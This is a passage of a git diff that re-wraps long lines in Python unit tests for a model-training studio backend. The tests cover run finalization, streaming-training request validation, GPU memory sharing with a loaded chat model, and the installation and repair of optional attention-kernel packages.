run by id" + assert [f["id"] for f in recs["finished"]] == [ + "job_old" + ], "must finish the captured run by id" assert recs["finished"][0]["status"] == "stopped" - assert recs["insert_ids"] == ["job_old"], "buffered metrics must land on the captured run" + assert recs["insert_ids"] == [ + "job_old" + ], "buffered metrics must land on the captured run" assert b._metric_buffer == [], "the captured batch must be drained" @@ -750,7 +788,9 @@ def test_escalation_defers_when_row_cannot_be_created_here(monkeypatch): assert called == [], "must not finalize when the row can't be established here" assert b._run_finalized is False, "must not claim the finalize the pump still owes" - assert b._progress.is_training is False, "parent state must still clear so the UI unsticks" + assert ( + b._progress.is_training is False + ), "parent state must still clear so the UI unsticks" assert b._proc is None @@ -769,8 +809,12 @@ def test_escalation_creates_row_then_finalizes_when_start_create_failed(monkeypa b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_s") - assert [c["id"] for c in recs["created"]] == ["job_s"], "must create the missing row" - assert [f["id"] for f in recs["finished"]] == ["job_s"], "must finish the created row by id" + assert [c["id"] for c in recs["created"]] == [ + "job_s" + ], "must create the missing row" + assert [f["id"] for f in recs["finished"]] == [ + "job_s" + ], "must finish the created row by id" assert b._proc is None, "handle dropped only after the terminal state is recorded" assert b._db_run_created is True @@ -792,7 +836,9 @@ def test_escalation_does_not_drop_a_new_runs_handle(monkeypatch): b._finalize_stopped_after_escalation(target_proc = old_proc, watched_job_id = "job_old") - assert b._proc is new_proc, "must not drop the handle a new run installed during finalize" + assert ( + b._proc is new_proc + ), "must not drop the handle a new run installed during finalize" def _make_finish_raise(monkeypatch, calls): diff --git a/studio/backend/tests/test_training_streaming.py b/studio/backend/tests/test_training_streaming.py index 70b2d6fdcc..446c091b8f 100644 --- a/studio/backend/tests/test_training_streaming.py +++ b/studio/backend/tests/test_training_streaming.py @@ -43,7 +43,9 @@ class _Tokenizer: ): assert tokenize is False assert add_generation_prompt is False - return "\n".join(f"{message['role']}: {message['content']}" for message in conversation) + return "\n".join( + f"{message['role']}: {message['content']}" for message in conversation + ) def _iterable_dataset(rows): @@ -231,7 +233,9 @@ def test_streaming_start_rejects_train_on_completions_before_backend_start(): with patch.object(training_route, "get_training_backend", return_value = backend): with pytest.raises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) assert exc_info.value.status_code == 422 assert "train_on_completions" in exc_info.value.detail @@ -263,7 +267,9 @@ def test_streaming_start_requires_separate_eval_split(eval_split): with patch.object(training_route, "get_training_backend", return_value = backend): with pytest.raises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) assert exc_info.value.status_code == 422 assert "separate eval_split" in exc_info.value.detail @@ -291,7 +297,9 @@ def test_streaming_start_rejects_missing_max_steps(): with patch.object(training_route, "get_training_backend", return_value = backend): with pytest.raises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) assert exc_info.value.status_code == 422 assert "max_steps" in exc_info.value.detail @@ -323,7 +331,9 @@ def test_streaming_start_rejects_embedding_models(): with patch.object(training_route, "get_training_backend", return_value = backend): with pytest.raises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) assert exc_info.value.status_code == 400 assert "embedding" in exc_info.value.detail @@ -473,10 +483,15 @@ def test_streaming_start_rejects_local_datasets(): with patch.object(training_route, "get_training_backend", return_value = backend): with pytest.raises(HTTPException) as exc_info: - asyncio.run(training_route.start_training(request, current_subject = "test-user")) + asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) assert exc_info.value.status_code == 400 - assert "local" in exc_info.value.detail.lower() or "hf-only" in exc_info.value.detail.lower() + assert ( + "local" in exc_info.value.detail.lower() + or "hf-only" in exc_info.value.detail.lower() + ) # _drop_invalid_text_rows handles from_generator with column_names=None @@ -533,7 +548,9 @@ def test_preflight_first_batch_returns_error_on_empty_stream(): trainer_mod = importlib.util.module_from_spec(spec) # Provide a minimal sys.modules shim so top-level imports in trainer.py don't # crash when optional heavy deps (torch, unsloth) are absent. - _orig_import = __builtins__.__import__ if hasattr(__builtins__, "__import__") else __import__ + _orig_import = ( + __builtins__.__import__ if hasattr(__builtins__, "__import__") else __import__ + ) try: spec.loader.exec_module(trainer_mod) @@ -552,7 +569,9 @@ def test_preflight_first_batch_returns_error_on_empty_stream(): break if trainer_cls is None: - pytest.skip("Could not load trainer module (missing optional deps: torch/unsloth).") + pytest.skip( + "Could not load trainer module (missing optional deps: torch/unsloth)." + ) # Build a bare instance without calling __init__ (avoids needing real deps). instance = object.__new__(trainer_cls) @@ -567,4 +586,6 @@ def test_preflight_first_batch_returns_error_on_empty_stream(): ) assert isinstance(result, str) # The message should indicate there are no training rows / empty dataset. - assert any(kw in result.lower() for kw in ("empty", "no training", "no rows", "stream")) + assert any( + kw in result.lower() for kw in ("empty", "no training", "no rows", "stream") + ) diff --git a/studio/backend/tests/test_training_vram_coexistence.py b/studio/backend/tests/test_training_vram_coexistence.py index 2bedc46d1f..18f6b1f95b 100644 --- a/studio/backend/tests/test_training_vram_coexistence.py +++ b/studio/backend/tests/test_training_vram_coexistence.py @@ -79,7 +79,9 @@ def _patch_backends(inf, llama): core_inf.get_inference_backend = lambda: inf routes_inf = types.ModuleType("routes.inference") routes_inf.get_llama_cpp_backend = lambda: llama - return patch.dict(sys.modules, {"core.inference": core_inf, "routes.inference": routes_inf}) + return patch.dict( + sys.modules, {"core.inference": core_inf, "routes.inference": routes_inf} + ) # ── summarize_resident_chat ────────────────────────────────────────────────── @@ -87,7 +89,9 @@ def _patch_backends(inf, llama): class TestSummarizeResidentChat(_GpuCacheResetMixin, unittest.TestCase): def test_nothing_resident(self): - with _patch_backends(_fake_inference_backend(), _fake_llama_backend(active = False)): + with _patch_backends( + _fake_inference_backend(), _fake_llama_backend(active = False) + ): self.assertEqual( tv.summarize_resident_chat(), {"hf": None, "gguf": None, "loading": False, "any": False}, @@ -95,7 +99,8 @@ class TestSummarizeResidentChat(_GpuCacheResetMixin, unittest.TestCase): def test_hf_resident_via_active_model(self): with _patch_backends( - _fake_inference_backend(active = "unsloth/Qwen3-4B"), _fake_llama_backend(active = False) + _fake_inference_backend(active = "unsloth/Qwen3-4B"), + _fake_llama_backend(active = False), ): out = tv.summarize_resident_chat() self.assertEqual(out["hf"], "unsloth/Qwen3-4B") @@ -146,7 +151,8 @@ class TestSummarizeResidentChat(_GpuCacheResetMixin, unittest.TestCase): def test_bare_alive_subprocess_without_model_is_not_resident(self): # Bare-alive subprocess (no model, only CUDA context) must NOT count. with _patch_backends( - _fake_inference_backend(active = None, alive = True), _fake_llama_backend(active = False) + _fake_inference_backend(active = None, alive = True), + _fake_llama_backend(active = False), ): out = tv.summarize_resident_chat() self.assertIsNone(out["hf"]) @@ -154,7 +160,8 @@ class TestSummarizeResidentChat(_GpuCacheResetMixin, unittest.TestCase): def test_gguf_resident(self): with _patch_backends( - _fake_inference_backend(), _fake_llama_backend(active = True, identifier = "gemma.gguf") + _fake_inference_backend(), + _fake_llama_backend(active = True, identifier = "gemma.gguf"), ): out = tv.summarize_resident_chat() self.assertEqual(out["gguf"], "gemma.gguf") @@ -198,7 +205,9 @@ class TestCanKeepAuto(_GpuCacheResetMixin, unittest.TestCase): kw = {**_BASE_KW, **overrides} with ( patch("utils.hardware.get_device", return_value = device), - patch("utils.hardware.auto_select_gpu_ids", return_value = auto_return) as auto_mock, + patch( + "utils.hardware.auto_select_gpu_ids", return_value = auto_return + ) as auto_mock, ): keep, info = tv.can_keep_chat_during_training(**kw) return keep, info, auto_mock @@ -217,7 +226,11 @@ class TestCanKeepAuto(_GpuCacheResetMixin, unittest.TestCase): self.assertFalse(keep) def test_unload_on_fallback_all(self): - meta = {"selection_mode": "fallback_all", "required_gb": 10.0, "usable_gb": 100.0} + meta = { + "selection_mode": "fallback_all", + "required_gb": 10.0, + "usable_gb": 100.0, + } keep, _, _ = self._run(([0, 1], meta)) self.assertFalse(keep) @@ -248,7 +261,9 @@ class TestCanKeepAuto(_GpuCacheResetMixin, unittest.TestCase): kw = {**_BASE_KW} with ( patch("utils.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.auto_select_gpu_ids", side_effect = RuntimeError("boom")), + patch( + "utils.hardware.auto_select_gpu_ids", side_effect = RuntimeError("boom") + ), ): keep, info = tv.can_keep_chat_during_training(**kw) self.assertFalse(keep) @@ -293,7 +308,9 @@ class TestCanKeepExplicit(_GpuCacheResetMixin, unittest.TestCase): def test_keep_when_chosen_gpu_has_room(self): devices = [{"index": 0, "vram_total_gb": 80.0, "vram_used_gb": 20.0}] - keep, info, auto_mock = self._run(required = 30.0, devices = devices, resolved = [0], gpu_ids = [0]) + keep, info, auto_mock = self._run( + required = 30.0, devices = devices, resolved = [0], gpu_ids = [0] + ) # free 60 >= 30*1.15+4 = 38.5 self.assertTrue(keep) self.assertEqual(info["mode"], "explicit") @@ -301,7 +318,9 @@ class TestCanKeepExplicit(_GpuCacheResetMixin, unittest.TestCase): def test_unload_when_chosen_gpu_too_tight(self): devices = [{"index": 0, "vram_total_gb": 24.0, "vram_used_gb": 20.0}] - keep, _, _ = self._run(required = 10.0, devices = devices, resolved = [0], gpu_ids = [0]) + keep, _, _ = self._run( + required = 10.0, devices = devices, resolved = [0], gpu_ids = [0] + ) # free 4 < 10*1.15+4 = 15.5 self.assertFalse(keep) @@ -313,7 +332,9 @@ class TestCanKeepExplicit(_GpuCacheResetMixin, unittest.TestCase): {"index": 0, "vram_total_gb": 24.0, "vram_used_gb": 4.0}, {"index": 1, "vram_total_gb": 24.0, "vram_used_gb": 14.0}, ] - keep, info, _ = self._run(required = 22.0, devices = devices, resolved = [0, 1], gpu_ids = [0, 1]) + keep, info, _ = self._run( + required = 22.0, devices = devices, resolved = [0, 1], gpu_ids = [0, 1] + ) self.assertFalse(keep) self.assertAlmostEqual(info["usable_gb"], 28.5, places = 3) @@ -326,10 +347,15 @@ class TestCanKeepExplicit(_GpuCacheResetMixin, unittest.TestCase): def test_unload_when_estimate_none(self): with ( patch("utils.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.estimate_required_model_memory_gb", return_value = (None, {})), + patch( + "utils.hardware.estimate_required_model_memory_gb", + return_value = (None, {}), + ), patch("utils.hardware.resolve_requested_gpu_ids", return_value = [0]), ): - keep, info = tv.can_keep_chat_during_training(**{**_BASE_KW, "gpu_ids": [0]}) + keep, info = tv.can_keep_chat_during_training( + **{**_BASE_KW, "gpu_ids": [0]} + ) self.assertFalse(keep) self.assertEqual(info["reason"], "estimate_unavailable") @@ -408,7 +434,9 @@ class TestFreeChatModels(_GpuCacheResetMixin, unittest.TestCase): def test_leaves_cpu_only_gguf_alone(self): # Killing a CPU-only llama-server cannot reclaim VRAM, so don't. inf = _fake_inference_backend() - llama = _fake_llama_backend(active = True, identifier = "cpu.gguf", gpu_offload = False) + llama = _fake_llama_backend( + active = True, identifier = "cpu.gguf", gpu_offload = False + ) with _patch_backends(inf, llama): freed = tv.free_chat_models_for_training(reason = "test") llama.unload_model.assert_not_called() diff --git a/studio/backend/tests/test_training_worker_flash_attn.py b/studio/backend/tests/test_training_worker_flash_attn.py index 7e7fc1af48..dfc98410a4 100644 --- a/studio/backend/tests/test_training_worker_flash_attn.py +++ b/studio/backend/tests/test_training_worker_flash_attn.py @@ -49,7 +49,9 @@ def _missing_module_import(missing: str): def test_should_try_runtime_flash_attn_install_threshold_and_skip(monkeypatch): monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False) assert worker._should_try_runtime_flash_attn_install(32767) is False - assert worker._should_try_runtime_flash_attn_install(32768) is sys.platform.startswith("linux") + assert worker._should_try_runtime_flash_attn_install( + 32768 + ) is sys.platform.startswith("linux") monkeypatch.setenv(worker._FLASH_ATTN_SKIP_ENV, "1") assert worker._should_try_runtime_flash_attn_install(32768) is False @@ -489,10 +491,14 @@ def test_tilelang_backend_reinstalls_when_tvm_ffi_is_broken(monkeypatch): # Repair: --force-reinstall --no-deps, apache-tvm-ffi ONLY. assert "--force-reinstall" in repair_args - assert "--no-deps" in repair_args, "Repair MUST use --no-deps to avoid replacing torch / CUDA" + assert ( + "--no-deps" in repair_args + ), "Repair MUST use --no-deps to avoid replacing torch / CUDA" assert "--only-binary=:all:" in repair_args assert f"apache-tvm-ffi=={worker._APACHE_TVM_FFI_PACKAGE_VERSION}" in repair_args - assert all("tilelang" not in a for a in repair_args), "Repair MUST only touch apache-tvm-ffi" + assert all( + "tilelang" not in a for a in repair_args + ), "Repair MUST only touch apache-tvm-ffi" # Install: regular dep-resolving install, no --force-reinstall. assert "--force-reinstall" not in install_args @@ -666,12 +672,16 @@ def test_hook_installs_when_gate_returns_false(monkeypatch): conv_install = mock.Mock(side_effect = _conv_install_side_effect) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) monkeypatch.setattr(worker, "_install_package_wheel_first", conv_install) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -695,7 +705,9 @@ def test_hook_skips_install_when_gate_already_true(monkeypatch): fla_install = mock.Mock() tile_install = mock.Mock() conv_install = mock.Mock() - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) monkeypatch.setattr(worker, "_install_package_wheel_first", conv_install) # Tilelang healthy -> post_available path is a no-op (otherwise it @@ -704,7 +716,9 @@ def test_hook_skips_install_when_gate_already_true(monkeypatch): monkeypatch.setattr(worker, "_installed_tvm_ffi_version", lambda: "0.1.9") monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -732,12 +746,16 @@ def test_hook_idempotent_on_repeat_call(monkeypatch): return True conv_install = mock.Mock(side_effect = _conv_install_side_effect) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) monkeypatch.setattr(worker, "_install_package_wheel_first", conv_install) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -758,12 +776,18 @@ def test_hook_handles_install_failure_gracefully(monkeypatch): def raising_install(eq): raise RuntimeError("pip failed to fetch wheel") - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", raising_install) - monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", lambda eq: None) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", raising_install + ) + monkeypatch.setattr( + worker, "_ensure_tilelang_backend_unconditional", lambda eq: None + ) monkeypatch.setattr(worker, "_install_package_wheel_first", lambda **kw: None) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -777,10 +801,14 @@ def test_hook_can_be_disabled_via_env(monkeypatch): _patch_iu_gates(monkeypatch, fla_gate, conv_gate) fla_install = mock.Mock() - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setenv(worker._FAST_PATH_HOOKS_SKIP_ENV, "1") - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -795,12 +823,18 @@ def test_hook_clears_lru_cache_before_first_check(monkeypatch): conv_gate = _make_fake_gate(initial_return = True) _patch_iu_gates(monkeypatch, fla_gate, conv_gate) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", lambda eq: None) - monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", lambda eq: None) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", lambda eq: None + ) + monkeypatch.setattr( + worker, "_ensure_tilelang_backend_unconditional", lambda eq: None + ) monkeypatch.setattr(worker, "_install_package_wheel_first", lambda **kw: None) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu _iu.is_flash_linear_attention_available() @@ -827,12 +861,18 @@ def test_hook_rewrites_previously_imported_module_bindings(monkeypatch): fla_gate.next_return = True return True - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fake_install) - monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", lambda eq: True) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fake_install + ) + monkeypatch.setattr( + worker, "_ensure_tilelang_backend_unconditional", lambda eq: True + ) monkeypatch.setattr(worker, "_install_package_wheel_first", lambda **kw: True) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) # The fake module's local binding is rewritten to the wrapper. assert fake_mod.is_flash_linear_attention_available is not fla_gate @@ -856,20 +896,30 @@ def test_hook_skips_when_import_utils_unavailable(monkeypatch): monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) # Should not raise. - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) def test_substring_fallback_unchanged_when_hook_skipped(monkeypatch): """Hook disabled -> legacy gate falls back to auto-discovered types.""" install_mock = mock.Mock() - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", install_mock) - monkeypatch.setattr(worker, "_discover_fla_model_types", lambda: frozenset({"qwen3_5"})) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", install_mock + ) + monkeypatch.setattr( + worker, "_discover_fla_model_types", lambda: frozenset({"qwen3_5"}) + ) monkeypatch.setenv(worker._FAST_PATH_HOOKS_SKIP_ENV, "1") - worker._ensure_flash_linear_attention(event_queue = [], model_name = "unsloth/Qwen3.5-2B") + worker._ensure_flash_linear_attention( + event_queue = [], model_name = "unsloth/Qwen3.5-2B" + ) assert install_mock.call_count == 1 - worker._ensure_flash_linear_attention(event_queue = [], model_name = "meta-llama/Llama-3.1-8B") + worker._ensure_flash_linear_attention( + event_queue = [], model_name = "meta-llama/Llama-3.1-8B" + ) assert install_mock.call_count == 1 @@ -897,9 +947,13 @@ def test_hook_does_not_install_tilelang_for_model_outside_allowlist(monkeypatch) fla_install = mock.Mock(side_effect = _fla_install) tile_install = mock.Mock(return_value = True) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) - monkeypatch.setattr(worker, "_install_package_wheel_first", mock.Mock(return_value = True)) + monkeypatch.setattr( + worker, "_install_package_wheel_first", mock.Mock(return_value = True) + ) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) # Hermetize the auto-discovered set so the test stays valid as new # transformers releases add FLA-using model_types (eg olmo_hybrid in @@ -934,12 +988,18 @@ def test_hook_does_install_tilelang_for_qwen35(monkeypatch): fla_install = mock.Mock(side_effect = _fla_install) tile_install = mock.Mock(return_value = True) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) - monkeypatch.setattr(worker, "_install_package_wheel_first", mock.Mock(return_value = True)) + monkeypatch.setattr( + worker, "_install_package_wheel_first", mock.Mock(return_value = True) + ) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -988,14 +1048,20 @@ def test_hook_trusts_installer_bool_not_metadata(monkeypatch): return False # but deep import is broken fake_fla_install = mock.Mock(side_effect = _bad_install) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fake_fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fake_fla_install + ) monkeypatch.setattr( worker, "_ensure_tilelang_backend_unconditional", mock.Mock(return_value = True) ) - monkeypatch.setattr(worker, "_install_package_wheel_first", mock.Mock(return_value = True)) + monkeypatch.setattr( + worker, "_install_package_wheel_first", mock.Mock(return_value = True) + ) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -1048,10 +1114,14 @@ def test_hook_skips_tilelang_when_fla_install_is_skipped(monkeypatch): monkeypatch.setenv(worker._FLA_SKIP_ENV, "1") tile_install = mock.Mock(return_value = True) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) - monkeypatch.setattr(worker, "_install_package_wheel_first", mock.Mock(return_value = True)) + monkeypatch.setattr( + worker, "_install_package_wheel_first", mock.Mock(return_value = True) + ) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -1071,15 +1141,21 @@ def test_hook_runs_tilelang_repair_when_fla_already_true(monkeypatch): fla_install = mock.Mock(return_value = True) tile_install = mock.Mock(return_value = True) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", fla_install) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", fla_install + ) monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", tile_install) - monkeypatch.setattr(worker, "_install_package_wheel_first", mock.Mock(return_value = True)) + monkeypatch.setattr( + worker, "_install_package_wheel_first", mock.Mock(return_value = True) + ) # tilelang missing AND tvm-ffi on broken list — both trigger repair. monkeypatch.setattr(worker, "_tilelang_importable", lambda: False) monkeypatch.setattr(worker, "_installed_tvm_ffi_version", lambda: "0.1.11") monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) from transformers.utils import import_utils as _iu @@ -1176,11 +1252,17 @@ def test_install_fast_path_hooks_sets_fla_tilelang_zero_on_hip(monkeypatch): monkeypatch.delenv("FLA_TILELANG", raising = False) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) monkeypatch.setattr(worker, "_torch_has_hip", lambda: True) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", lambda eq: True) - monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", lambda eq: True) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", lambda eq: True + ) + monkeypatch.setattr( + worker, "_ensure_tilelang_backend_unconditional", lambda eq: True + ) monkeypatch.setattr(worker, "_install_package_wheel_first", lambda **kw: True) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) assert _os.environ.get("FLA_TILELANG") == "0" @@ -1194,11 +1276,17 @@ def test_install_fast_path_hooks_respects_user_fla_tilelang_override(monkeypatch monkeypatch.setenv("FLA_TILELANG", "1") monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) monkeypatch.setattr(worker, "_torch_has_hip", lambda: True) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", lambda eq: True) - monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", lambda eq: True) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", lambda eq: True + ) + monkeypatch.setattr( + worker, "_ensure_tilelang_backend_unconditional", lambda eq: True + ) monkeypatch.setattr(worker, "_install_package_wheel_first", lambda **kw: True) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) assert _os.environ["FLA_TILELANG"] == "1" @@ -1210,11 +1298,17 @@ def test_install_fast_path_hooks_does_not_set_fla_tilelang_on_cuda(monkeypatch): monkeypatch.delenv("FLA_TILELANG", raising = False) monkeypatch.delenv(worker._FAST_PATH_HOOKS_SKIP_ENV, raising = False) monkeypatch.setattr(worker, "_torch_has_hip", lambda: False) - monkeypatch.setattr(worker, "_ensure_flash_linear_attention_unconditional", lambda eq: True) - monkeypatch.setattr(worker, "_ensure_tilelang_backend_unconditional", lambda eq: True) + monkeypatch.setattr( + worker, "_ensure_flash_linear_attention_unconditional", lambda eq: True + ) + monkeypatch.setattr( + worker, "_ensure_tilelang_backend_unconditional", lambda eq: True + ) monkeypatch.setattr(worker, "_install_package_wheel_first", lambda **kw: True) - worker._install_fast_path_hooks(event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B") + worker._install_fast_path_hooks( + event_queue = _FakeQueue(), model_name = "unsloth/Qwen3.5-2B" + ) assert _os.environ.get("FLA_TILELANG") is None @@ -1224,7 +1318,9 @@ def test_install_fast_path_hooks_does_not_set_fla_tilelang_on_cuda(monkeypatch): # ─────────────────────────────────────────────────────────────────── -def _make_fake_transformers_tree(tmp_path, fla_types: list[str], non_fla_types: list[str]): +def _make_fake_transformers_tree( + tmp_path, fla_types: list[str], non_fla_types: list[str] +): """Lay out tmp dir as `transformers/models/{type}/modeling_{type}.py`.""" pkg = tmp_path / "transformers" models = pkg / "models" @@ -1267,7 +1363,9 @@ def test_discover_fla_model_types_returns_only_fla_users(tmp_path, monkeypatch): def test_discover_fla_model_types_caches_across_calls(tmp_path, monkeypatch): - pkg = _make_fake_transformers_tree(tmp_path, fla_types = ["qwen3_5"], non_fla_types = []) + pkg = _make_fake_transformers_tree( + tmp_path, fla_types = ["qwen3_5"], non_fla_types = [] + ) fake = mock.MagicMock(__file__ = str(pkg / "__init__.py")) monkeypatch.setitem(sys.modules, "transformers", fake) _reset_fla_cache(monkeypatch) @@ -1313,7 +1411,9 @@ def test_discover_fla_model_types_handles_missing_transformers(monkeypatch): def test_discover_fla_model_types_handles_unreadable_file(tmp_path, monkeypatch): - pkg = _make_fake_transformers_tree(tmp_path, fla_types = ["qwen3_5"], non_fla_types = []) + pkg = _make_fake_transformers_tree( + tmp_path, fla_types = ["qwen3_5"], non_fla_types = [] + ) fake = mock.MagicMock(__file__ = str(pkg / "__init__.py")) monkeypatch.setitem(sys.modules, "transformers", fake) _reset_fla_cache(monkeypatch) @@ -1359,7 +1459,9 @@ def test_model_wants_tilelang_empty_when_transformers_has_no_fla(monkeypatch): def test_model_wants_tilelang_normalizes_separators(monkeypatch): - monkeypatch.setattr(worker, "_discover_fla_model_types", lambda: frozenset({"qwen3_next"})) + monkeypatch.setattr( + worker, "_discover_fla_model_types", lambda: frozenset({"qwen3_next"}) + ) for variant in ( "qwen3-next", "Qwen3.Next", diff --git a/studio/backend/tests/test_training_xet_fallback.py b/studio/backend/tests/test_training_xet_fallback.py index b4a3864334..d85d8c7acc 100644 --- a/studio/backend/tests/test_training_xet_fallback.py +++ b/studio/backend/tests/test_training_xet_fallback.py @@ -134,7 +134,11 @@ class _FakeCtx: def _backend_mid_load(): b = 